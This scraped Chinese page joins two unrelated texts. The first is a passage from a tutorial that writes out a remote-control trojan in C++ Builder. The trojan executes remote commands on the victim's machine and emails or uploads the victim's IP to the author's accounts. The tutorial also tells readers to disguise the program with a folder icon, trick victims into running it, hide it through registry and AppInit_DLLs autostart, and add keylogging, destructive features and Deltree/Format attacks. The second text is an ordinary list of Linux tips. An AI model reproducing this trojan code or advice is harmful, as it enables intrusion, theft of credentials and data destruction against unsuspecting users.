file://强行退出WinNt并重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file://强行退出Win9x并重启 } } 如果以上都不是,就让它在Dos窗口中执行传来的命令: { else { file://如果都不是 char * CR_TF=\n; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,w+); file://创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的信息 goto END; file://跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file://写入换行符 fclose(fp); file://关闭Win369.bat system(TempFile); file://执行Win369.bat Socket->SendText(Success); file://返回“Success”信息 } } 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分完成,这样才能避免程序因意外而崩溃。朋友,别走开!(完待续) 上次已编写完服务器端的各种功能,但还差容错部分还完成,下面我们Go on! 其代码如下(照敲不误 ^_^): { END:; Socket->Close(); file://关闭服务 ServerSocket1->Active =true; file://再次打开服务 if (NMSMTP1->Connected) NMSMTP1->Disconnect(); file://如果SMTP服务器已连接则断开 NMSMTP1->Host = "smtp.163.net"; file://选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1->UserID = ""; file://你SMTP的ID try { NMSMTP1->Connect(); file://再次连接 } catch(...) { goto NextTime; file://跳到NextTime } NMSMTP1->PostMessage->FromAddress ="I don't know!"; file://受害者的Email地址 NMSMTP1->PostMessage->FromName = "Casualty"; file://受害者的名字 NMSMTP1->PostMessage->ToAddress->Text = "<font color="#4d6c80"623737739@qq.com"; file://将信发到我的邮箱,这一步很关键 NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ; file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接 NMSMTP1->PostMessage->Subject = "Server Running Now!"; file://信的主题 NMSMTP1->SendMail(); file://发送! return; file://返回 NextTime: NMFTP1->Host = "ftp.go.163.com"; file://你的FTP服务器的地址 NMFTP1->UserID = ""; file://你的用户ID NMFTP1->Port = 21; file://FTP端口号,一般为21 NMFTP1->Password = ""; file://你的FTP的密码 if(NMFTP1->Connected) NMFTP1->Disconnect(); file://如果已连接就断开 try { NMFTP1->Connect(); file://再连接 } catch(...) { return; file://返回 } AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP; file://受害者的IP地址 FILE * Upload; Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+"); file://创建一个新文件准备写,如果已存在就覆盖 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); file://写入以上的SendToSite的内容 fclose(Upload); file://写完后关闭此文件 NMFTP1->RemoveDir("public_html"); file://删除public_html目录 NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); file://上传! } 啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件: #include <stdlib.h> #include <dirent.h> #include <fcntl.h> #include <dos.h> #include <sysstat.h> #include <winbase.h> #include <stdio.h> #include <process.h> #include <io.h> #include <mmsystem.h> 至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)! 客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!) 双击Button1,在Button1Click事件中添加如下代码: { if((Edit2->Text=="")||(Edit3->Text==""))return; file://如果输入IP地址框或输入端口号框有一个为空,就什么也不作 ClientSocket1->Address=Edit2->Text; file://目标IP地址 ClientSocket1->Port=atoi(Edit2->Text.c_str()); file://目标端口号,本例中的44444 ClientSocket1->Open(); file://连接! } 选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码: { if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2")) file://如果是要编辑autoexec.bat或config.sys Socket->SendText(Edit1->Text+Edit4->Text); file://发送命令和欲添加的语句 else Socket->SendText(Edit1->Text); file://否则只发送命令 } 双击OnRead事件,在ClientSocket1Read下添加如下代码: { AnsiString ReadIn = Socket->ReceiveText(); file://读入收到的返回信息 Edit4->Text=""; file://清空编辑框 FILE *fp; fp = fopen("ReadIn.tmp","w"); file://建立一个临时文件ReadIn.tmp fwrite(ReadIn.c_str(),1,10000,fp); file://写入信息 fclose(fp); file://关闭之 Edit4->Lines->LoadFromFile("ReadIn.tmp"); file://在编辑框中显示返回的信息 } 为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入: { if(Key==VK_RETURN)Button1Click(Sender); file://如果敲的是回车键,就和点击Button1一样的效果 } 最后再添加以下头文件: #include "stdlib.h" #include "winbase.h" #include "fcntl.h" #include "stdio.h" 终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。 接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“editconf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dirxxx”(xxx是目录名)就可以看到目录和文件,敲“typexxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧? 以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑: 首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。 还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如: 与exe文件建立关联:HKEY_CLASSES_ROOTexefileshellopencommand 与txt文件建立关联:HKEY_CLASSES_ROOT xtfileshellopencommand 与dll文件建立关联:HKEY_CLASSES_ROOTdllfileshellopencommand 等,当然还可以自己扩充。目前还有一种新方法:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”――“软件环境”――“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。 木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了
1.计算文件数和目录数<br>下面的语句可以帮你计算有多少个文件和多少个目录<br># ls -l * |grep "^-"|wc -l ---- to count files<br># ls -l * |grep "^d"|wc -l ----- to count dir<br>还可以将以上的语句变成script或做个alias<br><br><br>2.显示文件的类型<br>用命令file可以使你知道某个文件究竟是ELF格式的可执行文件,还是shell script文件或是其他的什么格式,例如:#file startx<br><br><br>3.用dd命令转换数据格式<br>你大概知道dd命令是用来拷贝数据的。特别是用来制作启动盘。但是dd也能用于数据转换。在 "endian" 结构的系统上,导出Ingres数据库的内容时,代码会发生奇怪的转换,它把:“The cat in the hat”转变成了“hT eac tnit ehh ta”,把数据恢复过来的办法就是采用dd命令:<br>dd if=randys_bad_data of=marcs_good_data conv=swab<br>最后部分 "conv=swab" 告诉dd采取 "swap bytes" 方式转换。<br>同样的,如果要吧EBCDIC格式的数据转换为ASCII格式就可以采用如下命令:<br>dd if=ebcdic_file of=ascii_file conv=ascii<br>dd的man帮助显示出有不少于10种转换,仔细看看,下次遇到同样问题时,就可以用dd来帮忙了。<br><br><br>4.禁止使用ping命令<br>ping命令是计算机之间进行相互检测线路完好的一个应用程序,计算机间交流数据的传输没有经过任何的加密处理,因此我们在用ping命令来检测某一个服务器时,可能在因特网上存在某个非法分子,通过专门的黑客程序把在网络线路上传输的信息中途窃取,并利用偷盗过来的信息对指定的服务器或者系统进行攻击,为此我们有必要在Linux系统中禁止使用Linux命令。在linux里,如果要想使ping没反应也就是用来忽略icmp包,因此我们可以在Linux的命令行中输入如下命令:echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all ;<br>如果想恢复使用ping命令,就可以输入:echo 0 > /proc/sys/net/ipv4/icmp_echo_igore_all命令。<br><br><br>5.显示Win9X分区里的长文件名<br>  如果你发现Win9X分区里的长文件命不能显示,可以重新用vfat方式来mount。对于启动时就mount的分区可以修改文件/etc/fstab,将里面的msdos字样改为vfat。如果无法用vfat mount, 则要重新编译一下核心,加入对vfat的支持。<br><br>6.Linux里的Norton Commander<br>  在提示符下键入命令mc后你就会看到一个与Norton Commander很相似的界面,实际上功能也很相似甚至更强大,比如可以直接对.tar.gz压缩包里的文件进行操作(有点像ZipMagic)。<br><br><br>7.启动后直接进入X<br>  编辑/etc/inittab文件,把id:3:initdefautl改为id:4:initdefautl。不过搜索路径可能会有些问题, 关机时你得直接进入/sbin里去执行shutdown。<br><br><br>8.巧妙使用“Tab”键<br>大家知道在Linux字符界面中输入命令时,有时需要输入很多字符,如果经常这样逐个地输入字符,比较麻烦。假设键入的字符足以确定该目录下一个惟一的文件时,我们只需按键盘上的“Tab”键就可以自动补齐该文件名的剩下部分,例如要把目录/ccc下的文件“ddddddd-1.2.3.tar.gz”解包时,当我们在命令行中键入到“tar xvfz /ccc/d”时,如果该文件是该目录下惟一以“d”打头的文件的话就可以直接按下“Tab”键,这时命令会被自动补齐为:tar xvfz /ccc/ddddddd-1.2.3.tar.gz ,从而提高了输入效率<br><br><br>9.强行退出X<br>  有时候在X里由于程序出错鼠标键盘都不起作用,这时候不用着急,因为在Linux下几乎不会像在Win95里那样恶性死机, 你只须键入Ctrl Alt BackSpace键就可以回到字符界面下了。<br><br><br>10.重装Win9x后lilo失效无法启动Linux<br>  只须先用软盘启动Linux然后运行一次lilo即可。对于RedHat可以用命令mkbootdisk来制作启动盘,例如:<br>mkbootdisk--devices/dev/fd0 2.0.34-1。其中2.0.34-1是/lib/modules下的一个目录。<br><br><br>11.去掉引导区内的lilo信息<br>  安装lilo后如果硬盘数量或分区情况有改变的话将导致硬盘不能启动,这时只须用软盘启动dos再运行 fdisk/mbr即可。(用这个方法还可清除任何引导区病毒哦)<br><br><br>12.查看文件的方法<br>如果你只想看文件的前5行,可以使用head命令,如: head -5 /etc/passwd 如果你想查看文件的后10行,可以使用tail命令,如: tail -10 /etc/passwd 你知道怎么查看文件中间一段吗?你可以使用sed命令 如: sed -n 5,10p /etc/passwd 这样你就可以只查看文件的第5行到第10行。<br><br><br>13.消除Xwindows下的死机现象<br>我们可以用两个常用的方法来消除这种现象:第一,用键盘上的复合键“Ctrl Alt Backspace”来关闭当前正在运行的任务;第二,首先按住键盘上的“Ctrl Alt F2”复合键,让系统切换到另一个操作台,然后登录到系统,再执行“#ps -ax/grep startx”命令,这将会列出你的Xserver的进程标识,接着在命令行中输入如下命令就能消除Xwindows下的死机现象:#kill -9 PID_Number,最后通过“Alt F1”复合键返回到原来的平台。<br><br><br>14.用当前路径作提示符<br>  对bash来说,在.bashrc里加一行:PS1="?$PWD\?$"<br>  对tcsh来说,在.tcshrc里加一行:set prompt="%/>"<br><br><br>15.快速关闭Linux系统<br>最新版本的Linux/UNIX系统借鉴了大型机的技术,采用了抗掉电的日志式文件系统,可以自动跟踪保存用户数据,自动同步刷新文件系统,用户完全可以随手关闭电源,从而达到快速关闭系统的目的。<br><br><br>16.修复Linux下超级用户的密码<br>如果超级用户将密码忘记,就无法进入系统,也无法管理和使用系统。本来这种事不太可能发生,但是在一些Linux单机使用者,尤其是初学者中,却是比较容易发生。一般的解决方法就是格式化硬盘来重新安装系统,但这有点儿小题大作了。准备好bootdisk和rootdisk两张软盘,从软驱启动启动到root盘并出现shell提示符。将Linux根目录分区mount至/mnt目录,比如你的Linux在硬盘第一分区,就在命令行中输入mount/dev/hda1 /mnt,然后进入mnt目录,将其中的etc/passwd文件改名,输入mv /mnt/etc/passwd /mnt/etc/passwd.bak就可以了;接着使用命令cp /etc/passwd /mnt/etc/passwd将软盘上的/etc/passwd文件复制到硬盘中的etc目录下,这样重新由硬盘启动,登录时就不会询问超级密码;最后使用mv/etc/passwd.bak passwd命令将passwd文件改回,再运行passwd命令重新设定密码就可以了。<br><br><br>17.一次处理一整个目录<br>  Linux/UNIX的很多常用命令如rm,cp等都有一个参数“-r”,是递归的意思,命令里加了参数“-r”就可以对目标目录及其下所有子目录进行操作,如:<br>rm -rf /test(f是“force”意为强行),该命令完全删除根目录下的子目录test,作用类似于dos下的deltree,当然使用这个命令时要特别小心。再如:cp -r/test/test1有类似dos下xcopy/s的作用。<br><br><br>18.列出除了某些类型文件的当前目录所有文件<br>使用Ksh,用ls !(*.Z)可以显示所有文件,除了*.Z文件。 这个命令在一个目录里有许多种类型的文件的时候很有用。<br><br><br>19.制作LILO启动盘<br>只要将/etc/lilo.conf中的boot=/dev/hdxx改为/dev/fd0,然后执行lilo -v将LILO写入磁盘,LILO启动盘就做好了。注意,在启动盘做完后,再将boot=/dev/fd0改回原来的设置,并再次执行lilo -v写回主引导记录或Super Block。<br><br><br>20.使用nohup命令<br>如果你想进程在你退出系统后还能执行,可以使用NOHUP命令 如: % nohup tar -cf /dev/tape /home & 你退出后再重新登录的话,使用ps命令可以看到进程还在执行。 <br><br><br>

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